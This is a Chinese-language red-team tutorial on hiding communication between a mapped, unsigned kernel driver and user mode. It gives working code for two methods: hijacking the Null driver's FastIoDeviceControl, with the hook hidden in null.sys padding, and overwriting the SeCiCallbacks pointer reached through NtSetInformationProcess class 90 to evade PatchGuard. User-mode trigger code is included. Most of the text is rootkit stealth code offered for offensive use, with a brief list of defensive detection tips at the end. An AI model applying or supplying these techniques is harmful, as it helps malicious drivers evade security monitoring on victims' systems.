高级红队之驱动通信隐藏技术
字数 1112 2025-08-20 18:17:59
高级红队之驱动通信隐藏技术
前言
在上一章中我们讨论了无签名驱动加载技术,本章将深入探讨驱动加载后如何与用户态(R3)进行隐蔽通信的技术。传统的IO通信方式在使用mapper加载后容易导致蓝屏且容易被检测,因此需要更高级的通信隐藏技术。
劫持通信技术
基本原理
劫持通信技术是指通过劫持已加载系统驱动的通信机制来实现自身驱动的通信功能。通常选择Windows自带驱动作为劫持目标。
实施步骤
-
选择合适的目标驱动:
- 使用火绒剑等工具分析驱动对象、设备对象和派遣函数
- 避免劫持指定了
FastIoDispatch和DriverUnload的驱动,否则可能导致系统不稳定
-
劫持案例:
- 以Null驱动为例,其
FastIoDispatch未被指定,适合劫持 - 修改
FastIoDispatch->FastIoDeviceControl指向自定义函数
- 以Null驱动为例,其
-
代码实现:
BOOLEAN DeviceIoControl(
_In_ struct _FILE_OBJECT* FileObject,
_In_ BOOLEAN Wait,
_In_opt_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_opt_ PVOID OutputBuffer,
_In_ ULONG OutputBufferLength,
_In_ ULONG IoControlCode,
_Out_ PIO_STATUS_BLOCK IoStatus,
_In_ struct _DEVICE_OBJECT* DeviceObject
)
{
if (MmIsAddressValid(InputBuffer) && MmIsAddressValid((PUCHAR)InputBuffer + InputBufferLength - 1))
{
Comm* mem = (Comm*)InputBuffer;
if (mem->cmd == 0x12345678)
{
KdPrint(("OK Comm!\r\n"));
IoStatus->Information = 0;
IoStatus->Status = STATUS_SUCCESS;
}
}
return TRUE;
}
NTSTATUS RegisterComm() {
UNICODE_STRING deviceName = { 0 };
RtlInitUnicodeString(&deviceName, L"\\Device\\Null");
PDEVICE_OBJECT pDevice = NULL;
PFILE_OBJECT fileObject = NULL;
NTSTATUS status = IoGetDeviceObjectPointer(&deviceName,FILE_ALL_ACCESS,&fileObject,&pDevice);
if (!NT_SUCCESS(status)) return status;
if (fileObject!=NULL) ObDereferenceObject(fileObject);
PDRIVER_OBJECT pDriver = pDevice->DriverObject;
pDriver->FastIoDispatch->FastIoDeviceControl = DeviceIoControl;
return STATUS_SUCCESS;
}
- 用户态通信代码:
HANDLE hDevice = CreateFileA("\\??\\Nul", FILE_GENERIC_WRITE | FILE_GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
Comm comm = { 0 };
comm.cmd = 0x12345678;
comm.id = 111;
DWORD retLen = 0;
DeviceIoControl(hDevice, 0, &comm, sizeof(comm), &comm, sizeof(comm), &retLen, NULL);
- 隐藏技术增强:
- 查找Null驱动中的空白字节区域(如CC填充区域)
- 修改内存属性为
PAGE_EXECUTE_READWRITE - HOOK该地址跳转到自定义函数
- 使派遣函数显示为Null.sys内部地址
ULONG64 hookPtr = searchCode("null.sys", ".text", "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0);
status = hook_by_addr(hookPtr, DeviceIoControl,&num);
pDriver->FastIoDispatch->FastIoDeviceControl = hookPtr;
.data ptr通信技术
基本原理
- 利用三环到零环的系统调用流程:
- 用户态API → Nt/Zw函数 → syscall → 内核Nt函数
- 在内核函数中找到调用指针函数的位置
- 修改指针而非直接HOOK代码,绕过PG(保护机制)检测
实施步骤
-
寻找合适的指针函数:
- 分析
NtSetInformationProcess函数 - 当第二个参数为90时,会调用
SeCodeIntegritySetInformationProcess - 该函数内部调用指针函数
- 分析
-
代码实现:
// 查找并修改指针
ULONG_PTR func = searchCode("ntoskrnl.exe", "PAGE",
"458bf1498bf0448bfa4c8be148833d*****75*b8BB0000C0eb6541b853652020", 0);
if (func)
{
DWORD32 offset = *(DWORD32*)(func + 15);
PULONG64 SeCiCallbacks = ((func + 15 + 5) & 0xFFFFFFFF00000000) +
((func + 15 + 5 + offset) & 0xFFFFFFFF);
gWin10HookPoint = SeCiCallbacks;
gOldSeCiCallbacksWin10 = SeCiCallbacks[0];
SeCiCallbacks[0] = fnSeCiCallbacksWin10;
}
- 通信函数实现:
ULONG64 fnSeCiCallbacksWin10(ULONG64 info, DWORD32 un2, ULONG64 un3, DWORD32 un4) {
if (MmIsAddressValid(info))
{
CommPackage* package = (CommPackage*)info;
if (package->Id == 0x12345678)
{
KdPrint(("OK Comm! id:%d\r\n", package->id));
}
else if (gOldSeCiCallbacksWin10)
{
return gOldSeCiCallbacksWin10(info, un2, un3, un4);
}
}
return STATUS_SUCCESS;
}
- 用户态触发代码:
NtSetInformationProcess fnNtSetCachedSigningLevel =
(NtSetInformationProcess)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtSetInformationProcess");
Comm cp;
cp.id = 0x9;
cp.cmd = 0x12345678;
fnNtSetCachedSigningLevel((ULONG64)&cp, 90, (ULONG64)&cp, sizeof(cp));
技术要点总结
-
劫持通信技术:
- 选择未完全初始化的系统驱动(如Null驱动)
- 修改FastIoDispatch而非主要派遣函数
- 通过代码注入使HOOK点显示为合法驱动内部地址
-
.data ptr技术:
- 寻找内核函数中的指针调用点
- 修改数据指针而非代码段
- 保留原始指针以便正常功能调用
- 使用特定参数组合触发通信路径
-
隐蔽性增强:
- 避免修改受PG保护的代码区域
- 通信标识使用不常见但合理的值
- 保持原始功能完整性
防御检测建议
- 监控系统驱动的FastIoDispatch修改行为
- 检查内核指针函数的异常修改
- 分析NtSetInformationProcess等系统调用不常见参数组合
- 监控驱动.text段的动态修改行为
这些高级驱动通信隐藏技术为红队行动提供了更强的隐蔽性,同时也提醒蓝队需要加强内核层面的异常行为监控。